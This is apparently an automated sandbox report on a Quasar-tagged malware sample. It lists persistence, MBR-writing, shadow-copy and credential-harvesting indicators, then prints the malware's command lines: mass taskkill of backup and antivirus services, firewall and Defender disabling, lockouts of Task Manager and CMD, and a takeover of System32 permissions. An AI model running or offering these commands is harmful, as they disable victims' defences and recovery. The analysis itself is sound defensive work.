quasar | b416ba3614cf4d62af4a1a558d2ca647ecf8196b251217e6d5809f5044bb4d9b

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2713497151-363818805-1301026598-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Roaming\\mbr.exe"	mbr.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-2713497151-363818805-1301026598-1000\desktop.ini	vcac.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	lm.exe
File opened for modification	\??\PhysicalDrive0	mbr.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\LogonUI.exe	svchost.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2713497151-363818805-1301026598-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\imagewVxc4lS8xaZ9eIm8xZluo1pusaZ370.jpg"	vcac.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\1601268389\3877292338.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\4183903823\810424605.pri	taskmgr.exe

Detects Pyinstaller 3 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000700000001afd5-403.dat	pyinstaller
behavioral1/files/0x000700000001afd5-519.dat	pyinstaller
behavioral1/files/0x000700000001afd5-395.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4500	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3128	vssadmin.exe

Kills process with taskkill 42 IoCs

evasion

pid	Process
1364	taskkill.exe
3800	taskkill.exe
4972	taskkill.exe
2052	taskkill.exe
4036	taskkill.exe
2080	taskkill.exe
600	taskkill.exe
4268	taskkill.exe
3556	taskkill.exe
2848	taskkill.exe
4928	taskkill.exe
1856	taskkill.exe
4672	taskkill.exe
4040	taskkill.exe
4004	taskkill.exe
212	taskkill.exe
712	taskkill.exe
3092	taskkill.exe
5008	taskkill.exe
1684	taskkill.exe
5048	taskkill.exe
840	taskkill.exe
3988	taskkill.exe
2244	taskkill.exe
4520	taskkill.exe
2340	taskkill.exe
1840	taskkill.exe
4332	taskkill.exe
5020	taskkill.exe
1808	taskkill.exe
4588	taskkill.exe
624	taskkill.exe
8	taskkill.exe
4944	taskkill.exe
4080	taskkill.exe
1944	taskkill.exe
4868	taskkill.exe
4108	taskkill.exe
3800	taskkill.exe
4068	taskkill.exe
908	taskkill.exe
2304	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133405944670676345"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2713497151-363818805-1301026598-1000_Classes\Local Settings	firefox.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

pid	Process
2144	reg.exe
3064	reg.exe

Opens file in notepad (likely ransom note) 3 IoCs

ransomware

pid	Process
3568	NOTEPAD.EXE
828	NOTEPAD.EXE
4904	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
1920	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
1920	taskmgr.exe
1920	taskmgr.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
1920	taskmgr.exe
2680	pass.exe
2680	pass.exe
2680	pass.exe
1856	taskkill.exe
1856	taskkill.exe
592	vcac.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
592	vcac.exe
1856	taskkill.exe
1920	taskmgr.exe
592	vcac.exe
1920	taskmgr.exe
592	vcac.exe
592	vcac.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1920	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	592	vcac.exe
Token: SeTakeOwnershipPrivilege	4600	takeown.exe
Token: SeDebugPrivilege	1920	taskmgr.exe
Token: SeSystemProfilePrivilege	1920	taskmgr.exe
Token: SeCreateGlobalPrivilege	1920	taskmgr.exe
Token: SeDebugPrivilege	4068	taskkill.exe
Token: SeBackupPrivilege	3024	vssvc.exe
Token: SeRestorePrivilege	3024	vssvc.exe
Token: SeAuditPrivilege	3024	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3816	WMIC.exe
Token: SeSecurityPrivilege	3816	WMIC.exe
Token: SeTakeOwnershipPrivilege	3816	WMIC.exe
Token: SeLoadDriverPrivilege	3816	WMIC.exe
Token: SeSystemProfilePrivilege	3816	WMIC.exe
Token: SeSystemtimePrivilege	3816	WMIC.exe
Token: SeProfSingleProcessPrivilege	3816	WMIC.exe
Token: SeIncBasePriorityPrivilege	3816	WMIC.exe
Token: SeCreatePagefilePrivilege	3816	WMIC.exe
Token: SeBackupPrivilege	3816	WMIC.exe
Token: SeRestorePrivilege	3816	WMIC.exe
Token: SeShutdownPrivilege	3816	WMIC.exe
Token: SeDebugPrivilege	3816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3816	WMIC.exe
Token: SeRemoteShutdownPrivilege	3816	WMIC.exe
Token: SeUndockPrivilege	3816	WMIC.exe
Token: SeManageVolumePrivilege	3816	WMIC.exe
Token: 33	3816	WMIC.exe
Token: 34	3816	WMIC.exe
Token: 35	3816	WMIC.exe
Token: 36	3816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3816	WMIC.exe
Token: SeSecurityPrivilege	3816	WMIC.exe
Token: SeTakeOwnershipPrivilege	3816	WMIC.exe
Token: SeLoadDriverPrivilege	3816	WMIC.exe
Token: SeSystemProfilePrivilege	3816	WMIC.exe
Token: SeSystemtimePrivilege	3816	WMIC.exe
Token: SeProfSingleProcessPrivilege	3816	WMIC.exe
Token: SeIncBasePriorityPrivilege	3816	WMIC.exe
Token: SeCreatePagefilePrivilege	3816	WMIC.exe
Token: SeBackupPrivilege	3816	WMIC.exe
Token: SeRestorePrivilege	3816	WMIC.exe
Token: SeShutdownPrivilege	3816	WMIC.exe
Token: SeDebugPrivilege	3816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3816	WMIC.exe
Token: SeRemoteShutdownPrivilege	3816	WMIC.exe
Token: SeUndockPrivilege	3816	WMIC.exe
Token: SeManageVolumePrivilege	3816	WMIC.exe
Token: 33	3816	WMIC.exe
Token: 34	3816	WMIC.exe
Token: 35	3816	WMIC.exe
Token: 36	3816	WMIC.exe
Token: SeDebugPrivilege	4332	taskkill.exe
Token: SeDebugPrivilege	5020	taskkill.exe
Token: SeDebugPrivilege	1364	cmd.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeDebugPrivilege	908	taskkill.exe
Token: SeDebugPrivilege	2080	taskkill.exe
Token: SeDebugPrivilege	3800	taskkill.exe
Token: SeDebugPrivilege	5008	taskkill.exe
Token: SeDebugPrivilege	2244	taskkill.exe
Token: SeDebugPrivilege	4588	taskkill.exe
Token: SeDebugPrivilege	4080	taskkill.exe
Token: SeDebugPrivilege	4672	taskkill.exe
Token: SeDebugPrivilege	4040	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
1920	taskmgr.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe
592	vcac.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe
1920	taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5016	server.exe
2244	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 592 wrote to memory of 4656	592	vcac.exe	70
PID 592 wrote to memory of 4656	592	vcac.exe	70
PID 592 wrote to memory of 4656	592	vcac.exe	70
PID 592 wrote to memory of 3456	592	vcac.exe	71
PID 592 wrote to memory of 3456	592	vcac.exe	71
PID 592 wrote to memory of 3456	592	vcac.exe	71
PID 3456 wrote to memory of 3756	3456	cmd.exe	74
PID 3456 wrote to memory of 3756	3456	cmd.exe	74
PID 3456 wrote to memory of 3756	3456	cmd.exe	74
PID 592 wrote to memory of 3784	592	vcac.exe	75
PID 592 wrote to memory of 3784	592	vcac.exe	75
PID 592 wrote to memory of 3784	592	vcac.exe	75
PID 592 wrote to memory of 4272	592	vcac.exe	76
PID 592 wrote to memory of 4272	592	vcac.exe	76
PID 3784 wrote to memory of 4500	3784	mbr.exe	77
PID 3784 wrote to memory of 4500	3784	mbr.exe	77
PID 3784 wrote to memory of 4500	3784	mbr.exe	77
PID 4272 wrote to memory of 4552	4272	svchost.exe	79
PID 4272 wrote to memory of 4552	4272	svchost.exe	79
PID 4552 wrote to memory of 4600	4552	cmd.exe	81
PID 4552 wrote to memory of 4600	4552	cmd.exe	81
PID 4552 wrote to memory of 4784	4552	cmd.exe	82
PID 4552 wrote to memory of 4784	4552	cmd.exe	82
PID 592 wrote to memory of 1816	592	vcac.exe	86
PID 592 wrote to memory of 1816	592	vcac.exe	86
PID 592 wrote to memory of 1816	592	vcac.exe	86
PID 592 wrote to memory of 4436	592	vcac.exe	87
PID 592 wrote to memory of 4436	592	vcac.exe	87
PID 592 wrote to memory of 4436	592	vcac.exe	87
PID 592 wrote to memory of 4520	592	vcac.exe	88
PID 592 wrote to memory of 4520	592	vcac.exe	88
PID 592 wrote to memory of 4520	592	vcac.exe	88
PID 4520 wrote to memory of 3128	4520	cmd.exe	92
PID 4520 wrote to memory of 3128	4520	cmd.exe	92
PID 4520 wrote to memory of 3128	4520	cmd.exe	92
PID 1816 wrote to memory of 4068	1816	cmd.exe	94
PID 1816 wrote to memory of 4068	1816	cmd.exe	94
PID 1816 wrote to memory of 4068	1816	cmd.exe	94
PID 4436 wrote to memory of 1796	4436	cmd.exe	93
PID 4436 wrote to memory of 1796	4436	cmd.exe	93
PID 4436 wrote to memory of 1796	4436	cmd.exe	93
PID 4520 wrote to memory of 3816	4520	taskkill.exe	97
PID 4520 wrote to memory of 3816	4520	taskkill.exe	97
PID 4520 wrote to memory of 3816	4520	taskkill.exe	97
PID 1816 wrote to memory of 4332	1816	cmd.exe	98
PID 1816 wrote to memory of 4332	1816	cmd.exe	98
PID 1816 wrote to memory of 4332	1816	cmd.exe	98
PID 1816 wrote to memory of 5020	1816	cmd.exe	100
PID 1816 wrote to memory of 5020	1816	cmd.exe	100
PID 1816 wrote to memory of 5020	1816	cmd.exe	100
PID 4436 wrote to memory of 96	4436	cmd.exe	101
PID 4436 wrote to memory of 96	4436	cmd.exe	101
PID 4436 wrote to memory of 96	4436	cmd.exe	101
PID 1816 wrote to memory of 1364	1816	cmd.exe	138
PID 1816 wrote to memory of 1364	1816	cmd.exe	138
PID 1816 wrote to memory of 1364	1816	cmd.exe	138
PID 1816 wrote to memory of 1808	1816	cmd.exe	103
PID 1816 wrote to memory of 1808	1816	cmd.exe	103
PID 1816 wrote to memory of 1808	1816	cmd.exe	103
PID 1816 wrote to memory of 908	1816	cmd.exe	104
PID 1816 wrote to memory of 908	1816	cmd.exe	104
PID 1816 wrote to memory of 908	1816	cmd.exe	104
PID 4436 wrote to memory of 3584	4436	cmd.exe	105
PID 4436 wrote to memory of 3584	4436	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2713497151-363818805-1301026598-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook	LaZagne.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2713497151-363818805-1301026598-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	LaZagne.exe

C:\Users\Admin\AppData\Local\Temp\vcac.exe
"C:\Users\Admin\AppData\Local\Temp\vcac.exe"
1⤵
- Drops file in Drivers directory
- Drops startup file
- Loads dropped DLL
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:592
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Roaming\settings.bat
  2⤵
  PID:4656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k cd %appdata% & lm.exe & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Users\Admin\AppData\Roaming\lm.exe
    lm.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Writes to the Master Boot Record (MBR)
    PID:3756
- C:\Users\Admin\AppData\Roaming\mbr.exe
  "C:\Users\Admin\AppData\Roaming\mbr.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /Create /TN "Windows Update" /ru SYSTEM /SC ONSTART /TR "C:\Users\Admin\AppData\Roaming\mbr.exe"
    3⤵
    - Creates scheduled task(s)
    PID:4500
- C:\Users\Admin\AppData\Roaming\svchost.exe
  "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4552
  - - C:\Windows\system32\takeown.exe
      takeown /f C:\Windows\System32
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4600
  - - C:\Windows\system32\icacls.exe
      icacls C:\Windows\System32 /grant "Admin:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4784
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM BackupExecAgentBrowser* & taskkill /F /IM BackupExecDiveciMediaService* & taskkill /F /IM BackupExecJobEngine* & taskkill /F /IM BackupExecManagementService* & taskkill /F /IM vss* & taskkill /F /IM sql* & taskkill /F /IM svc$* & taskkill /F /IM memtas* & taskkill /F /IM sophos* & taskkill /F /IM veeam* & taskkill /F /IM backup* & taskkill /F /IM GxVss* & taskkill /F /IM GxBlr* & taskkill /F /IM GxFWD* & taskkill /F /IM GxCVD* & taskkill /F /IM GxCIMgr* & taskkill /F /IM DefWatch* & taskkill /F /IM ccEvtMgr* & taskkill /F /IM SavRoam* & taskkill /F /IM RTVscan* & taskkill /F /IM QBFCService* & taskkill /F /IM Intuit.QuickBooks.FCS* & taskkill /F /IM YooBackup* & taskkill /F /IM YooIT* & taskkill /F /IM zhudongfangyu* & taskkill /F /IM sophos* & taskkill /F /IM stc_raw_agent* & taskkill /F /IM VSNAPVSS* & taskkill /F /IM QBCFMonitorService* & taskkill /F /IM VeeamTransportSvc* & taskkill /F /IM VeeamDeploymentService* & taskkill /F /IM VeeamNFSSvc* & taskkill /F /IM veeam* & taskkill /F /IM PDVFSService* & taskkill /F /IM BackupExecVSSProvider* & taskkill /F /IM BackupExecAgentAccelerator* & taskkill /F /IM BackupExecRPCService* & taskkill /F /IM AcrSch2Svc* & taskkill /F /IM AcronisAgent* & taskkill /F /IM CASAD2DWebSvc* & taskkill /F /IM CAARCUpdateSvc* & taskkill /F /IM TeamViewer*
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecAgentBrowser*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4068
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecDiveciMediaService*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4332
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecJobEngine*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecManagementService*
    3⤵
    - Kills process with taskkill
    PID:1364
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM vss*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1808
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sql*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:908
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM svc$*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2080
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM memtas*
    3⤵
    - Kills process with taskkill
    PID:3800
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sophos*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5008
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM veeam*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2244
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM backup*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxVss*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxBlr*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4672
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxFWD*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4040
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxCVD*
    3⤵
    - Kills process with taskkill
    PID:600
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxCIMgr*
    3⤵
    - Kills process with taskkill
    PID:624
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM DefWatch*
    3⤵
    - Kills process with taskkill
    PID:1684
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ccEvtMgr*
    3⤵
    - Kills process with taskkill
    PID:1944
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM SavRoam*
    3⤵
    - Kills process with taskkill
    PID:5048
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM RTVscan*
    3⤵
    - Kills process with taskkill
    PID:8
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM QBFCService*
    3⤵
    - Kills process with taskkill
    - Suspicious use of WriteProcessMemory
    PID:4520
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM Intuit.QuickBooks.FCS*
    3⤵
    - Kills process with taskkill
    PID:4868
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM YooBackup*
    3⤵
    - Kills process with taskkill
    PID:4004
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM YooIT*
    3⤵
    - Kills process with taskkill
    PID:4972
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM zhudongfangyu*
    3⤵
    - Kills process with taskkill
    PID:4268
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sophos*
    3⤵
    - Kills process with taskkill
    PID:4944
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM stc_raw_agent*
    3⤵
    - Kills process with taskkill
    PID:3556
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VSNAPVSS*
    3⤵
    - Kills process with taskkill
    PID:2848
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM QBCFMonitorService*
    3⤵
    - Kills process with taskkill
    PID:4108
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamTransportSvc*
    3⤵
    - Kills process with taskkill
    PID:212
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamDeploymentService*
    3⤵
    - Kills process with taskkill
    PID:712
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamNFSSvc*
    3⤵
    - Kills process with taskkill
    PID:4928
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM veeam*
    3⤵
    - Kills process with taskkill
    PID:2052
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM PDVFSService*
    3⤵
    - Kills process with taskkill
    PID:2340
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecVSSProvider*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3800
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecAgentAccelerator*
    3⤵
    - Executes dropped EXE
    - Kills process with taskkill
    - Suspicious behavior: EnumeratesProcesses
    PID:1856
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecRPCService*
    3⤵
    - Kills process with taskkill
    PID:840
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM AcrSch2Svc*
    3⤵
    - Kills process with taskkill
    PID:3092
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM AcronisAgent*
    3⤵
    - Kills process with taskkill
    PID:3988
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CASAD2DWebSvc*
    3⤵
    - Kills process with taskkill
    PID:2304
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CAARCUpdateSvc*
    3⤵
    - Kills process with taskkill
    PID:1840
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM TeamViewer*
    3⤵
    - Kills process with taskkill
    PID:4036
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall set allprofiles state off & netsh advfirewall set currentprofile state off & netsh advfirewall set domainprofile state off & netsh advfirewall set privateprofile state off & netsh advfirewall set publicprofile state off & REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f & REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f & REG ADD HKCU\Software\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f & powershell -Command Add-MpPreference -ExclusionExtension .exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:1796
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set currentprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:96
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set domainprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:3584
- - C:\Windows\SysWOW64\netsh.exe
